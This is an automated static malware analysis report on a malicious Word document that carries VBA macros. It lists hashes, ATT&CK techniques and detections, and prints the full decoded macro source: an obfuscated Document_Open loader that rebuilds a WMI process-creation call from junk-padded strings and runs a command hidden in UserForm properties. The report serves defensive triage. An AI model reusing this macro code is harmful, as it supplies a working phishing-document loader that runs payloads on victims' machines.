Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1362eb5c759d65c3…

MALICIOUS

Office (OLE)

176.4 KB Created: 2020-08-06 22:09:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 2d1659bca0b654f7c1a685d103c18f53 SHA-1: d0ea400cd879b57716c5a2e171f428648fc7a99a SHA-256: 1362eb5c759d65c30ec4701769d5559f5bc1950d618ff4d17939fc69f4fb104f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of a ClamAV detection for 'Doc.Malware.Sagent-9238513-0' further supports its malicious nature. The VBA code appears to be obfuscated and attempts to execute commands, likely to download and run a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238513-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238513-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4127 bytes
SHA-256: 29d23622c45230af26f4350e62f1028f114028c181bd744d3fdd968cc8be558d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ETHCBlgbygdbsprbmb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
RHKMWthwgtxuxpefra.DRONPsumygmxdlfhcc
End Sub


Attribute VB_Name = "RHKMWthwgtxuxpefra"
Attribute VB_Base = "0{DD32A53E-EBC1-4ED4-818D-F994A6F42523}{4D1A3544-47A7-49B7-ACCA-2446191FDB09}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function DRONPsumygmxdlfhcc()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
VKHICsncrvzqj = Chr(RHKMWthwgtxuxpefra.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
QCBGRkwhzynmhqbs = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + VKHICsncrvzqj + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + RHKMWthwgtxuxpefra.SFVTVdhswqeiu + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
GTZVKgjjbphgrgwubr = BSECGeljnwxld(QCBGRkwhzynmhqbs)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set LQTAEnqfjgiiwp = CreateObject(GTZVKgjjbphgrgwubr)
Dim MYsmbE7 As Long
WDZUQypqilsqvrurgb = RHKMWthwgtxuxpefra.MKBWLsnxfpebasft.ControlTipText
Dim VvSOR1Öop As Variant
WTHAVzqstickqfkov = nsbuqwd + (GTZVKgjjbphgrgwubr + VKHICsncrvzqj + RHKMWthwgtxuxpefra.MTITKviyowryfmk.ControlTipText + WDZUQypqilsqvrurgb)
GoTo VB1ÍlR
VB1ÍlR:
PJYODfytwasfcxo = WTHAVzqstickqfkov + RHKMWthwgtxuxpefra.SFVTVdhswqeiu
Dim u6ÑPouprUqC As Double
Set SXZUMdtqvwxgwvegae = XTDAMjqvzhfxkkkuafy(PJYODfytwasfcxo)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", LQTAEnqfjgiiwp. _
Create(CWUYQxrcpkwkopq, SQOLUnndnrmaqw, SXZUMdtqvwxgwvegae), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function XTDAMjqvzhfxkkkuafy(LDNNUiotbzqhnom)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set XTDAMjqvzhfxkkkuafy = CreateObject(LDNNUiotbzqhnom)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
XTDAMjqvzhfxkkkuafy. _
showwindow = TEJCCttptretxybmjfu + SZUHDzurajyknkf + XGTPZauuptqfmfduwm
Dim uebuZa As Variant
End Function
Function BSECGeljnwxld(YTXBUhrhqelzr)
HIUDSpdoroej = YTXBUhrhqelzr
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
TGPFDvwtaqykwyq = Split _
(HIUDSpdoroej, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
CGEZIjwsxlhw = ms + Join(TGPFDvwtaqykwyq, e2)
GoTo cDCrGvM
cDCrGvM:
BSECGeljnwxld = CGEZIjwsxlhw
Dim V5Ü8ÍA As Variant
End Function
Function CWUYQxrcpkwkopq()
kqhlwie = RHKMWthwgtxuxpefra.TTWDRjlezmoqghqmhpq.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
CWUYQxrcpkwkopq = BSECGeljnwxld(kqhlwie)
GoTo aknR
aknR:
End Function

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